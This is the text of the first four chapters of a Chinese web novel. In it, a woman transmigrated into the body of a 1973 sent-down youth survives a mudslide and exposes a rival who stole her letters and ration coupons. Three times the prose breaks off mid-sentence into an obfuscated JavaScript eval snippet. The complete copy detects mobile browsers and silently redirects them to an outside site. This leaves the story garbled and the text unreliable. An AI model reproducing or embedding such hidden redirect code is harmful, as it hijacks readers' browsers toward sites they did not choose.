《七零回城女知青[穿书]》 1. 第 1 章 1973年的初夏,金灿灿的麦穗在晚风中传来阵阵“沙沙”声,脸上火烧烧,身上汗涔涔的李南书从麦地里直了下身,腰间的刺痛,让她眼前一阵发黑。 下乡五年了,每到抢收的时候,她都觉得是场磨难。这么一刻,她甚至能够理解苏清溪,为了回城的名额,可以不顾暑热,连着几天在公社和县城两头跑。 她刚缓口气,就听队长吆喝道:“现在凉快点,咱们再加把劲,把这块麦地给收完!” 得了,收工的时间又要往后拖。 旁边新来的吕晓蕙小声嘀咕道:“什么时候才能歇,天麻麻亮就起来了,午饭都是在田埂上吃的,眼瞅着太阳都落山了……” 吕晓蕙才十六岁,初中刚毕业,连日的抢收让她到了崩溃的边缘,声音里都带了点哭腔。 李南书看到她,就想到了十六岁的自己,背着一个包裹从北省江城来到皖南的小山村,话都听不懂,真正的两眼一抹黑,至今想起来,都不知道自己当时哪来的勇气? 不由出声安慰道:“晓蕙,忙完明天就能休息了,咱们再坚持一会。” 见她情绪不是很好,接着道:“晓蕙,下乡就是来建设,来锻炼的,不要想着苦不苦的,不然自己心里先苦了,做什么都觉得苦。” 吕晓蕙望着她道:“南书姐,这怎么还要打心理战?” 老大姐徐永兰搭话道:“晓蕙,过了农忙,地里就闲了,再说,你这才哪到哪?说出来你可能都不信,前两年播种的时候,男知青被抽调到县里修水坝了,我和南书还得犁田呢。” 吕晓蕙苦着脸,不敢想象自己像牛一样套着犁在水田里的场景,微张着嘴,有些干巴地道:“这……这我想都不敢想。” 徐永兰失笑,“是吧,南书当时也苦着张脸,后面发现自己能干得下来,可得意了。”也是从那天开始,她发现这个姑娘和别的知青不一样,身上有股劲。 这个姑娘,也确实将北山村变得不一样。但她私心里觉得,北山大队留不住南书,这样敢想、肯干,又有志气的姑娘应该往更广阔的天地去。 想到今年工农兵大学的名额,徐永兰心里又沉了一下,大队长说这次只有一个名额,这个名额大概率是南书的,她们这些人,还不知道等到哪一年? 吕晓蕙有好些问题想问,徐永兰反倒不说了,“赶快收麦子,一会队长得来骂人了,回头有空再聊。” 山脚下的风,忽而又大了些,阴云不知什么时候聚拢了过来,豆大的雨珠“哒哒”地滴在人的脸上、头发里,可谁也顾不得黏腻的头发,湿哒哒地粘在后背上的衣服,都忙着抢收。 前头忽然传来一阵争吵声,好像是苏清溪的声音,说要请假什么的。 不一会儿,就听队长暴躁地喊道:“苏清溪,你别唬人了,什么腿疼、肚疼,这话说出来,你自己信吗?这个月你请了半个月的假,就你有事,就你想回城?怎么,都是城里来的知青,就你淋不了雨,就你有钱买粮食?今个你要是不跟大伙一块干完,明个我就把你名字报到公社知青管理点去,你和他们说说你的腿疼、肚疼去吧!” 苏清溪偃旗息鼓了,临末还甩了一句话:“骆一勤,你别说的这么大公无私,你这么阻拦我去县里,还不是为了李南书?你怕我抢了那个名额,这个名额是写了她名字吗?怎么,你当人家能记得你的好?人家志向远大,还不定要飞到哪里去呢!”说到最后两句的时候,她扬高了声调,就怕谁没听见一样。 李南书挑了下眉,握着手里的镰刀,有些烦躁地朝前头喊了一声:“苏清溪,你再叨叨我!” 前头彻底没了声音。 徐永兰不由失笑,“南书,整个北山村,也就你治得了她。”又道:“哎,南书,我这边割完了,你那边要不要帮忙?” “不用,我也快了,兰姐,你先挑回去吧!” 李南书准备走的时候,发现吕晓蕙正手忙脚乱地捆麦子,那麦把和麻绳却像是不听她使唤似的,怎么都扎不到一块去,小姑娘急得眼泪都掉下来了,李南书叹了口气,“晓蕙,你挑我的走!” 吕晓蕙吸着鼻子,轻声道谢,挑着李南书的担子走了。 李南书却望着手上的麻绳,有些拧眉,晓蕙这绳子搓得也太细了点,现在下着雨,她也不好再搓,只得将就用着,想着到村口应该没问题。 她麻溜地捆着麦把,压根没注意到穿着白色衬衫、黑色裤子的姑娘,从她身旁走过的时候,眼神颇为复杂地看了她一下。 隔了一会,天空忽然一片昏暗,狂风大作,雨珠噼里啪啦地砸在地面上,很快就是一片泥泞,李南书深一脚浅一脚地挑着担子走到了陡坡上,不知是不是下雨的缘故,她总觉得胸口闷闷的,有些喘不过来气。 “圪嘣”一声,前面的麻绳断了,李南书并不觉得意外,只是没想到,断的这么快。 她侧身让了后面的知青先走,蹲下来重新搓麻绳,忽然一个响雷在天空上方炸开,大雨滂沱中,她看见不远处的雨水与泥流混在一起,裹着草块,随坡而下,李南书心里也不由“咯嘣”一下,雨太大了。 顷刻间,她扔掉了手里的麻绳,拼命地往村口跑。 雨水砸的眼睛一片模糊,裹着雨的风从她耳边呼呼而过,等她跑过陡坡,跨过山沟,跌跌撞撞地到村口的时候,天已经完全黑了下来,山脚下传来一阵“轰隆隆”的声音,不知是打雷,还是什么。 李南书浑身发抖,不敢回头,撑着一口气,跑到了知青点,知青点离村口不远,阔阔方方的一个四合院样式,院子中间还有口井,旁边有个大缸,早已接满雨水,只听得雨珠砸在水面的“嗒嗒嗒”声。 这一块原来是土地庙,后来知青下乡,村里让木匠把门窗重新修整了下,又搬来几块木板当床,就成了知青点。 此时房檐下站着好几个人,神色都有些焦急,看着她回来,一个个都松了口气。 徐永兰拉住她的手,“南书,你总算回来了,吓死我们了,大家刚才听到声音,说可能发生了泥石流,你今天怎么这么慢?咦,南书,你的鞋呢?” 李南书低头一看,才发现自己跑掉了一只鞋,闷闷地道:“麻绳断了,麦子散了,我本来想搓下,忽然打雷了。” 徐永兰还没开口,旁边的骆一勤先骂道:“断就断了,搓什么搓,一担麦子还能比命重要吗?”他说着说着,就红了眼眶,踢了一脚廊下的簸箕。 大家都有些不明所以地看着他,骆一勤没再说话,转身回了房。 徐永兰轻声道:“南书,队长也是关心你,今天被吓狠了吧?快去洗个热水澡,琼玉刚烧好的,你先去。” 李南书确实被吓到了,微热的水洒在身上,才稍微回了神,她第一次这么近距离地接触到死神。如果她真的死了,妈妈估计会哭死,当初她要下乡,妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小时候,每当她在养父母家挨骂、挨打,还要忍着眼泪的时候,她都在想,为什么她不能有一个正常的家,世界上这么多人,为什么就她没有爸妈,没有兄弟姐妹?要像个困兽一样,在这个狭窄的房子里挣扎? 谁心情不好,都可以给她一脚,说错一句话,打碎一只碗,都可以是她的末日。 至今想起那个家,她还是觉得后背发疼,养父把她踹翻在地的那一脚,让她做了很久的噩梦,眼泪不觉就模糊了眼睛。 她想,小书有那么好的哥哥姐姐,刻薄的语言肯定进不了她的耳,凶恶的拳头也落不到她的身,她肯定也不用在冬日的寒风里去河边洗衣服,也不会因为打碎一只碗而惶惶不可终日,更不会在巷子里被人掐着脖子恫吓。 如果小书没有在一个雨天滑进湖里,她会不会在书里的世界里,过着自己想也不敢想、梦也不敢梦的人生,温馨、宁静、平和,又灿烂的一生? 不久以后,她去乡下做扶贫工作,雨天路滑,连人带车翻到了湖里,死之前她想起来,小书好像也是这么死的。意识最后消失之前,她许了愿: 如果有下辈子,她可不可以过小书那样的人生?有爱她的家人,温暖的童年,一个可以避风雨的港湾? 再睁眼,她成了一个小婴儿,她的小床边围着四个大小不一的萝卜头,他们争先恐后地给她取名字,最后漂亮的妈妈选了“南书”这个名字。 梦里的李南书,有些恍惚地想,她的愿望好像成真了? 2. 第 2 章 大雨下了一夜,徐永兰起床,见隔壁床的南书面色潮红,伸手摸了一下她的额头,不由惊呼:“哎呀,怎么发烧了!”又摸了一下她的手心,还暖和着,就给她解开了衣领散热。 又嘀咕了声:“这雨这么下,公社的卫生社都不好去。” 眼下没有别的法子,她想着先去烧点热水。不料刚出门,就听到了一声“徐姐”,吓的她一跳。 天还麻麻黑,她依稀看见是苏清溪,试探着喊了声。 苏清溪忙走过来,“徐姐。” 徐永兰有些奇怪地道:“清溪,你怎么过来了?”苏清溪并不住在知青点,因着和李南书老吵架,十次有九次败下阵来,她气得搬到李婶家里住去了。 苏清溪嗫嚅了下,才开口道:“昨天山脚出了事,我心里害怕,就回来看看。”边说,边朝徐永兰身后的门看,李南书就住在这间屋子里。 徐永兰点点头,“我们这儿倒没少人,听说是村里两个老乡没回来。” 苏清溪微微皱了眉,“李……南书也好好的吗?” 徐永兰“嗯?”了一声,觉得她这话问的奇怪,这时候她才发现苏清溪眼下一片青色,像是一夜没睡。 苏清溪立即低了眉眼,有些慌乱地道:“昨天看她动作慢得很,徐姐,人没事就好,我先走了。”说着,慌张张地跑了。 徐永兰望着她的背影,觉得苏清溪像是来确定南书有没有被泥石流裹走? 又觉得自己把人想坏了,苏清溪总不会盼着南书不回来? 半上午,雨水已经漫到了村口的河沟,知青都搬的差不多了,就剩下徐永兰和李南书。骆一勤来问情况,得知南书还在烧着,皱眉道:“这么烧下去,也不是办法,送到医院去看看吧?” 徐永兰道:“雨这么大,万一淋到了,病情加重怎么办?” 两人正讨论着,屋内忽然传出一点动静,徐永兰立即推门进去,就见南书怔怔地坐在床边,看她进来,哑着嗓子问道:“兰姐,现在是什么时候了?” “十点半了,”徐永兰走过去,摸了下她的额头,微微松了口气,“可算退烧了,南书,你再不醒,骆一勤都要把你送去医院了,还有没有哪里不舒服?” 见她摇头,徐永兰又道:“你先喝点水,我去给你拿吃的。” 门打开,又关上了,李南书紧紧地握着搪瓷茶缸,原来她死后穿书了,从21世纪的南书,成为了年代文里李家那个最小的妹妹。 一个在小说里并未出场过的背景角色。 原书剧情是从女主苏清溪上大学开始的,而李南书死在故事开始之前,对于大学之前的事,女主总是惜字如金,不愿意再提。 上辈子她看书的时候,大概拼凑出,原主是在梅雨季节,失足落湖而死,北山大队发了一封电报给李家,但是李家却笃定小女儿的死是人为,多年以后,兄妹四个前赴后继地靠近女主,希望探查妹妹去世的真相。 雨敲打在窗户上,“嗒嗒嗒”的一声又一声,李南书想,这中间是不是还发生了别的事,不然哥姐为什么死咬着苏清溪不放? 她正猜测着,“吱呀”一声,徐永兰又推门进来,手里拿着两个窝窝头和一碗粥,“南书,窝窝头还软乎着,你快吃点。” 窝窝头掺了一点玉米面,有点玉米的香甜,不是很糙,李南书小口小口地吃着。 徐永兰提起昨天的事来,“南书,昨天真是太危险了,以后不要再这样善心,有些人,你帮一两次也就够了,总不能一直给她兜底?你昨天能逃过一劫,真是侥幸,你都不知道,陈平昨儿差点就被泥石流冲没了,幸好李二叔拽了他一把,两个人在后山躲了一夜。”昨天听南书说麻绳在半路断了的时候,她心里就拱起来一团火,吕晓蕙做事也太唬弄了,差点出了大事! 李南书摇摇头道:“兰姐,晓蕙刚来没有经验,想不到也正常。”但她也是后怕的,她要是真死在这里,她们家可得散了。 听她这话,徐永兰苦笑了下,幽幽地道:“南书,这个名额,也就输给你,我才服气。”这样宽厚又善良的姑娘,输给她,自己甘心。 李南书愣了一下,反应过来她说的是工农兵大学名额,有些诧异地问道:“兰姐,为什么你觉得这个名额一定会给我呢?”她倒觉得苏清溪有极大的可能,原书里也是苏清溪去上的大学。 徐永兰摇了摇头,数着手指头道:“这几年,你组织老乡识字、认草药、炒茶叶,又鼓励他们养兔子增加肉食来源,还想方设法地请人来搞农业种植技术交流,论对北山大队的贡献,没有人能越得过你去。” 又补了一句:“琼玉也说,除了你,我们谁也不会服气。” 李南书摇头道:“徐姐,你不要这样想,这个名额没有写谁的名字,我们每个人都有机会。” 徐永兰苦笑了下,没有再说。 李南书看着她的表情,心里微微一动,会不会大家都这样想?所以这个名额,为原主招来了杀身之祸?她又觉得是自己多想了,一个名额,能比一条命重要吗? 如果这样,那可就太荒诞了。 徐玉兰把要搬家的事说了,李南书忙起来收拾东西。 她的东西不是很多,一个装衣服的木箱子,剩下就是肥皂、雪花膏、梳子、卫生纸之类的零碎东西,还有一个比较大的饼干盒子,她用来装信的。 随手打开看了下,最底下是两张相片,最上面的一封信是1973年3月,二姐来信说,预备在10月份结婚。 她数了一下,从3月到现在,她有两个月没收到家里的信了,两个月,这太不对劲了。 就算大哥大姐最近没空写信给她,二哥二姐总是要寄的,这俩人芝麻绿豆大的事,都要和她唠一唠,一个月五六封信都不稀奇,一封都没有,可就太稀奇了。 她觉得奇怪,就和徐永兰说了这事,徐永兰沉思了一下,“南书,你说,会不会是被人截了呢?咱们大队的邮寄是正常的,我前两天收到了一封信,是一勤帮我拿回来的。南书,不然等天晴了,咱们去邮局问问?” “兰姐,我今天就得去一趟。”这事不能拖,这个年代,信不见了,不是小事。 如果是意外还好说,如果不是意外呢? 有人在监视她! 一股寒意立即从尾椎骨爬上来,像是看到毒蛇在朝她吐着信子一样。 徐永兰也知道这事宜早不宜迟,“那你去吧,东西一会我帮你搬。” 李南书没和她客套,她心里急得很,脚步很快,不过半个时辰就到了公社邮局。 柜员听说她丢了信,忙安抚道:“同志,你别急,我们这都是按规章办事的,我来查一下记录。” 不一会儿,就拿出领取簿来,让李南书找下自己的名字。 李南书在投递栏下,看到了她的名字,一共出现了五次,代收人是北山大队会计许茂荣。 所以她的信,真的被截了! 李南书立即指给柜员看,有些着急地道:“同志,您看一下,这里有我的名字,可是我一封都没有收到,麻烦您和邮递员说下,以后我的信请他务必交到我手上,或者帮忙带个话,我自己来取。” 柜员核实了下,然后道:“李同志,我把你这事记录一下,回头向单位反馈。”还说后面等邮递员回来,会再帮她问一下。 李南书表示了感谢。 她心里存着事,刚出邮局大门,就不小心撞到了一位女同志,连忙道歉,“对不住,对不住,一时没注意……” “哎,你是不是李南书?”对面的人似乎有些惊喜。 李南书抬头,就见面前的女青年笑呵呵地看着自己,似乎比她大几岁,脸上很白净,穿着一身黄格子棉长裙,一看就是城里来的。 对方见她不吱声,笑道:“记不起来了吗?我是陈树深的姨姐,你以前来我家玩过的。”说着,微微打量了一下面前的姑娘,见她穿着灰色的衬衫,黑色的裤子,裤腿湿了半截,脚上是一双旧胶鞋。 李南书立即想起来,有些意外地道:“静仪姐,你不是去申城工作了吗?”陈树深是她初中同学,他们一个班关系都很好,常互相串门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等她走后,武静仪的同事也刚好赶过来,见她瞅着一个姑娘背影看着,眼眶还有点发红,轻声问道:“怎么,静仪,你认识?” 武静仪点头,“认识,我表弟的同学。”说着,忍不住出声喊住了南书,“哎,南书,你是哪一年插队的啊?” 南书回道:“静仪姐,我68年就来了。” 武静仪朝她挥手,“多保重啊!” 李南书也挥了挥手,看着武静仪进了邮局才转身,微微擦了下眼睛,又匆匆地赶起路来,等她到村里的时候,已经下午两点了,直接去了许会计家。 许茂荣抽着旱烟,听她说完,就点点头道:“你的信,我有印象,邮递员寄来的信,我都放在办公室的一个木盒里,你们知青代拿走了。” 李南书听他说有印象,又忙问:“那你知道是谁拿走的吗?我一封都没有收到,我去邮局查了记录,丢了五封信。” 许茂荣微微瞪大了眼,“一封也没有收到?”要是丢了一两封,他还好搪塞过去,可是五封…… 李南书见他这样,就知道他是知道内情的,喊了声:“叔,我爸妈有时候给我信里夹粮票和钱的,她这样,不是明晃晃的强盗行径吗?” “南书啊,这……这,这么说吧,我是记得有你的信,但是是谁代拿的,我真不知道……” 他话音还没落,方婶子就骂道:“他爸,你别做那帮凶,你就老实和南书说,是谁偷了她的钱和票,凭什么那偷东西的人你还护着,南书这你就不管了?咱不帮受害的,还要帮那作害的不成?” 许茂荣磕了一下手里的烟锅,叹了一声道:“你婶子说得对,行,南书,你跟我去一趟办公室。” 去的路上,许茂荣告诉她,是苏清溪。 李南书听到这个名字,并不意外,甚而有种尘埃落定的感觉。她想,是不是因着这件事,哥姐觉得她的死,不是意外,而是人为? 3. 第 3 章 两人去李家的路上,雨停了,空气里泛着水汽和青草的气息,雨水好像把人的眼睛都洗明亮了,郭婶子家的小二妮牵着水牛去洗澡,一个劲地朝她挥手:“南书姐姐!” 李南书也抬起胳膊,挥了几下,老牛似乎也和她打招呼,“哞哞”地叫唤了两声,如果没有丢信的事,这对她来说,会是个惬意的下午。 等小二妮往村子右边走了,许茂荣抽着旱烟,问她预备怎么处理? 李南书不答,反问道:“许叔,咱们这,没有公安抓过小偷吗?” 许茂荣立即明白,这事不会善了,皱眉道:“南书,说起来,这事我也有责任……” 李南书打断了他的话,“许叔,这事怪不得您,咱们以后也和邮局一样弄个领取簿吧?”大队里的办公条件本来就简陋,这事也不是许叔授意的。 许茂荣松了口气,“是,是,这个主意好。” 李二婶家在村子中间,李二叔前两年夜里偷吃饼干,突发哮喘,噎死了,家里还有老奶奶,李婶子并一对小儿女。 房子倒是三间阔阔方方的砖瓦房,用土泥巴围了个半人高的小院子,里头养着鸡鸭,还挖了一个深洞养兔子。 他们到李家的时候,院门正开着,李二婶子刚好背了一箩筐草回来,在喂兔子,看到南书和大队会计,笑着问道:“南书,今儿怎么过来了?” “婶子,我来找苏清溪,有件事想问问她。” “哦,清溪啊,在咧,”说着,朝院子里间的房子喊了声:“清溪,南书来找你!” 苏清溪住在她家,一月给3块钱房租,有时候还补贴她家一点盐巴、火柴之类的,李二婶子把家里最好的一间房给她住了。 苏清溪正坐在窗边写信,听到声音,握笔的手一哆嗦,在信纸上划了一道斜杆,立即把信和笔塞到了抽屉里。 起身的时候,眼睛不觉瞥了一下身后的床,又安下心来,见了李南书,就问道:“李南书,你今天怎么想起来找我?” 饶是李南书不喜欢她,也得说苏清溪长得挺好看,锥子脸,桃花眼,樱桃嘴,此时脸上带着几分讥讽。 只不过,这讥讽在看到她身后的许茂荣后,立即隐下去了。 李南书没应声,只冷冷地看着她。 一旁的许茂荣先发声道:“小苏啊,你这事做的可不地道,李南书的信是你前头代领的,你怎么不给人家送去呢?人家信里可夹了好些粮票、肉票的,这事你可得给人家说清楚。” “叔,你记错了吧,不是我拿的。”苏清溪的声音很平稳,大队办公室里来来往往的人多,她赌许茂荣不一定记得清,到底是谁拿的信。 许茂荣见她狡辩,立即严肃道:“嗐,你这姑娘,你咋还不承认呢?”说着从口袋里把大队日志拿出来,“你看看,我这上头记得清清楚楚,是你抹得掉的吗?我许茂荣在村里干了十来年会计了,手上可没有一笔糟账,也不会说一句污糟话。” 苏清溪一时哑口,如果是骆一勤来对质,她大可以说一句“污蔑”,但是来的是许茂荣这个老头,他在村里口碑很好,儿子在部队里还是个连长,村里都给她几分面子。 可是,这事她绝不能承认,当初截第一封信的时候,她就想过,这事绝不能承认,必须一口咬死了,不然后患无穷。 她正想着,就听李南书忽然开口道:“苏清溪,我的信你毁了没有?毁了的话,你就照我妈给我说的数目,赔我一百斤粮票,十斤肉票,三尺三布票。” “李南书,你瞎诌什么,哪有什么粮票、肉票的?我没看见。”苏清溪倒吸一口冷气,李南书当真是狮子大开口,这些东西可够她三四个月口粮的。 李南书盯着她的眼睛,冷冷地道:“哦,不是为了粮票、肉票,你偷我的信干嘛?人证、物证都有,你抵赖不了,你要是不想被送到公安局去,就老实把钱票还我,那几封信我还无所谓,你想留着就留着,钱票得还我。”她不知道信里有没有什么不合适的话,只能先拿钱票来诈一诈。 末了又提醒苏清溪道:“你不是还想回城吗?担上一个小偷的名号,回城的名额肯定是没有的,农场的名额你大抵可以抢一个来。” 苏清溪气得咬牙,她想不到李南书竟然这么无耻,污蔑她偷钱票。 旁边的李二婶子听到这里,吓了一跳,“哎呀,清溪你怎么能干这种事呢?你咋会偷东西呢?快还给南书啊,等公安来,你一辈子都毁了!”苏清溪到底在她家住着,她怕真有个什么事,牵扯到她家来。 苏清溪犟道:“婶子,我没有!李南书乱说的,她……” “哎呀,清溪,你别嘴硬了,许会计是什么样人,我们村里都知道,他就不是那空口说白话的,这事传出去,你名声就没有了,你还想上大学……”李二婶子一点不怀疑这事的真伪,她信南书的人品,而且村里的老会计也来了,这事假不了。 苏清溪头上也冒了冷汗,李二婶子的话,句句砸到了她心里,她隐约觉得自己今天怕是抵赖不了了,但是要承认的话,以李南书的个性,绝不会轻饶了她,还不如一口咬死了。 “婶子,我真没拿,许叔确实记错了,不信的话,你们搜我屋。”她坦坦荡荡的,似乎一点不怕。 李南书微微皱了眉,怀疑她是不是把信毁了?立即装出一副无所谓的样子来,“行吧,既然你不承认,那就交给公安特派员来查吧!” “查就查,我可没偷过什么一百斤粮票,十斤肉票的,李南书,我看你是发烧烧糊涂了,青天白日的做大梦呢!”苏清溪想着,要是公安来了,她就说发现了李南书试图反`革命的证据,什么“吃不饱饭,饿得人不像人,鬼不像鬼”“上瞒下效”这些话,可不是她诌的。 苏清溪越想越有底气,李南书告她偷盗,她就说自己在搜集证据。 正僵持着,忽然有个小小的声音问道:“南书姐,你们是来找信的吗?”6岁的李小牛从厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117850|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里探出半个身子来,向李南书看着。 李南书点头,温声道:“是,小牛,你不要怕,这事和你家没关系,我在……” “南书姐,我……我看到过,在我家里。”李小牛说完,黝黑的小脸都现出几分红来,似乎鼓了很大的勇气。 苏清溪的脑子“轰”了一下,不可置信地看向了李小牛。 李南书也懵了,信还在? 李二婶子忙跑到儿子跟前,“小牛,你在咱家看到过?在哪?你带妈妈去。”又朝南书道:“南书,这事我一点儿不知道,可不是我家拿的。” 小牛点头,立即跑到苏清溪的房间里,指着床底下道:“藏在这里面,用浆糊贴在板上了。”有次,他和姐姐、小虎、二妮一起玩捉迷藏,他躲到这屋来,发现床底下有东西,本来想喊姐姐的,后来小虎找到他,他就把这事给忘了。 李二婶子爬到床底下,把几封信都扯了下来,像扔烫手山芋一样,一股脑地塞给了李南书,“南书,你看看,是不是这几封?” 李南书:得来竟全不费功夫? 苏清溪看着李南书手里还沾着浆糊和灰的信,已然面如死灰,她知道,自己想上工农兵大学的事,怕是没机会了。 *** 北省江城槐花巷子138号,舒向芫放下行李,打量这三十来平的两间房子,微微叹了口气,和二女儿道:“我们两个住倒也够了,在里屋给你支张书桌,你平时看书用得上。做饭就在外间,刚好一楼,天晴就把炉子摆在院子里,也不占地方。” 她还思量着,回头买个雨布,下雨天就搭在炉子上。 等把两间房的布局规划好,转头问二女儿道:“南熹,你看看还有没有什么要添的?” “没有,妈,这就挺好的了。”她说的是真心话,爸爸出了事,她可算看到了,什么叫树倒猢狲散。连宋家,对她的态度也差了好些。 想到这里,李南熹望着母亲道:“妈,我和宋霖的婚事,怕是也成不了了,你心里有个准备。”宋霖的妈妈不是个好相与的,她担心妈妈不清楚情况,为了她忍气吞声。 舒向芫愣了下,半晌咬牙道:“成不了就成不了,你爸一出事,他家就露出这副嘴脸来,咱们也不稀罕。”又轻声道:“南熹,你年纪也不大,咱们再慢慢挑合适的,你身子骨本来就不是很好,别为着这事心里憋气,回头让你妹知道了,又急得跳脚。” 听母亲提到妹妹,李南熹脸上不由带了点笑意,“是的,她拿兔子肉跟老乡换了两张布票给我,说等我买了布,要记得替她闻闻,这上头有没有肉味。” 舒向芫也笑了,“这馋丫头,回头我给她淘换点肉票寄过去。”又叮嘱道:“南熹,你爸的事,先别和你妹妹说。” 李南熹点点头,“嗯,先瞒着。”爸爸的事好瞒,但是她的事,怕是不好瞒,她前头写信给南书,说她10月要结婚的,如果她现在说改期,也不知道这丫头信不信? 4. 第 4 章 北山大队的李南书,还不知道二姐的担忧,她坐在郭婶家的小房间里,借着煤油灯微弱的光,一封封地拆着信,先看了二姐的,“小妹,布票已经收到,你不要为我的嫁妆费心,爸妈哥姐都给我凑着呢,够了,你在乡下劳动,需要多补充点营养,前些时候给你汇的二十元钱收到没有……” 她有好多事要问二姐,准备最后再回二姐。 又打开了二哥的,二哥的唠叨比较多,“小妹,我最近和朋友去西城老饭馆吃饭,我们点菜的时候,门口就蹲着好几个人,等我们吃完了,他们一哄而上,抢食我们的剩饭羹,小妹,我的眼泪当即就掉了下来,我不敢想这些饿得人不像人、鬼不像鬼的,是我们可爱、可敬的同胞……” 李南书看到这里,也红了眼眶,她和二姐常嘲笑二哥是个书呆子,可是这个书呆子有一颗善良、正直的心。她又庆幸把这封信找了回来,要是寄到二哥单位去,怕是会闹出事来。 她当下就给二哥回信,“二哥,前信已经收到,我们刚结束一轮抢收,这才有空回信。历史在向前推动,社会也在发展,物资匮乏只是一时的,我们青年在各个领域施展身手,成效虽然不是很明显,但是聚少成多,特别是你们研究科学的,对社会的贡献更是巨大……” 她断断续续写了半个小时,末尾又委婉地劝道:“二哥,前信言辞多有锋利之处,在单位里或可缄默一些,我这边一切都好,勿用担心,望二哥诸事顺遂。” 落款是“南书”。 她刚把信装起来,小二妮敲门喊道:“南书姐,饭好了,快来吃饭。” “哎,来了。” 堂屋里,不大的小四方桌上,已摆上一碗地菜炒鸡蛋,一碗嫩生生的腌萝卜,一碗红烧兔肉,南书忙道:“婶子,怎么又是鸡蛋,又是兔子的,太破费了。” 四个人三碗菜,在北山大队确实是挺破费。郭叔跟着县里的施工队去了别的公社建水塔了,一年几个月都不在家,大儿子在县城上高中,家里就二妮和郭婶俩。 郭婶子摆摆手道:“不破费,现在咱们村最不缺的就是兔肉,不过,肯定是你婶子做的最好吃,你尝尝。” 李南书尝了一块,兔肉里加了干辣椒,又先用兔油炸过一遍,又香又嫩,确实好吃,连忙夸了几句。 徐永兰也道:“婶子也太客气了,二妮正是长身体的时候,该留给二妮吃的。” “都吃,都吃,我本来就想着等收了麦子,喊你俩来家里吃饭,”又问道:“哎,南书,苏知青偷你信的事,解决了没?” 徐永兰也朝南书看过来,下午南书回来的时候,脸色不是很好,只说她的信从苏清溪那找到了,她一时也没好多问。 李南书点头,“算是解决了吧,就是我这信封里夹的钱票都被她拿去了,大队长让她还我,她说不凑手,让我宽限她半个月。”一百斤全国粮票,十斤肉票,三尺三的布票,另外和解费一百块钱。 苏清溪原本想和她掰扯,她就一句:“那就报公安。”反正信在她手里,她也不怕苏清溪耍什么花招。 她的信里有没有夹钱票,她清楚,苏清溪也清楚,可信是在姓苏的床底下找到的,苏清溪百口莫辩,许会计又喊了大队长过来,大队长不想闹到公安那,怕对他们大队有影响,竭力劝苏清溪给她打一张借条。 想到苏清溪今儿赤白的脸,她都觉得痛快! 小二妮从碗里抬起头来,轻声问道:“南书姐,我听小牛说你丢了一百斤粮票,是真的吗?”她的嘴边还沾着油,有点滑稽。 李南书拿手帕给她擦了下,“自然是真的。” 小二妮又道:“小牛和我说,苏清溪和他妈妈吵了一架,说小牛乱跑她房里,这个月房租不给小牛家了。”说到这里,小二妮低头不说了。 李南书摸摸她的头,温声道:“没事,小牛这么勇敢,姐姐本来就是要奖励他的,回头我给他补上房租。” “真的吗?”小二妮眼睛一亮,显然这个小姑娘也知道小牛家条件不好,这回得罪了苏清溪,以后没了房租,日子怕是更难。 李南书点点头,“真的,放心吧!” 小二妮红着脸笑了,给李南书夹了块兔子肉,“南书姐,你也吃。” 晚饭后,徐永兰和南书叹道:“现在的小孩真聪明,都知道今儿小牛得罪了清溪呢!” 李南书点头,“是,穷人的孩子早当家,特别是小牛和小花,看着都比别家的孩子机灵。”小牛这么聪明,知道会得罪苏清溪,还是脆生生地说:“南书姐,我看到过,在我家里。” 下午的时候,她就想好了,从苏清溪那讹来的赔偿,分一半给小牛。 徐永兰又问道:“南书,你为什么不报公安?” 李南书轻声道:“怕把她逼急了,乱攀咬。”原书里她的死,似乎和苏清溪有关,她担心把人逼急了,背后对她下死手。 徐永兰点点头,叹了一声:“是,都是知青,抬头不见低头见的,要是真报公安,以后咱们夜里睡觉都得提防着。”集体生活就是这点不好,大家都没一丁点私密空间,又道:“先前还听说有个县里知青闹矛盾,趁着人睡觉,一口气捅了五个,最后自己也自杀了。” 李南书没有吱声,原书里她是在这北山大队殒命的。 ** 李二婶家也正在吃晚饭,苏清溪喝了一碗能照得出人影的粥,就冷声道:“二婶子,你家我是不敢再住了,麻烦你把我剩的米粮还给我,我明天就重新找地方住去。” 李二婶子听她话里夹枪带棒的,皱眉道:“你这姑娘,咋这么副人样?做错事的是你,我都没说你连累我家了,你倒摆上脸来了,难道还要我家孩子跟你一起当小偷吗?” 苏清溪硬声道:“当初说好,你们不许进我的房间,李小牛跑到我的房间乱翻干嘛?”她越想越气,如果不是李小牛蹦出来,今天这一局,未必是她输。 李小牛对上苏清溪阴冷的目光,忍不住打了一个瑟缩,“妈,我……我没翻。” 李二婶子把孩子护在怀里。 一直默不作声的李家老奶奶放了碗,正声道:“苏知青,这事我家小牛没做错,你是付了我家一月三块钱的房租不假,可你租的是我家的房子,不是我家的人,我家的房子租给你,也是给你住,不是给你当贼窝的,我老婆子没读过书,也知道公安嘴里有个‘包庇罪’,今儿下雨,我也不赶你,明儿一早,你就走吧!” 李小牛“哇”地一声哭了出来。 老太太摸摸孙子的头,“咱小牛没做错,错的不是咱,不哭,不哭……” 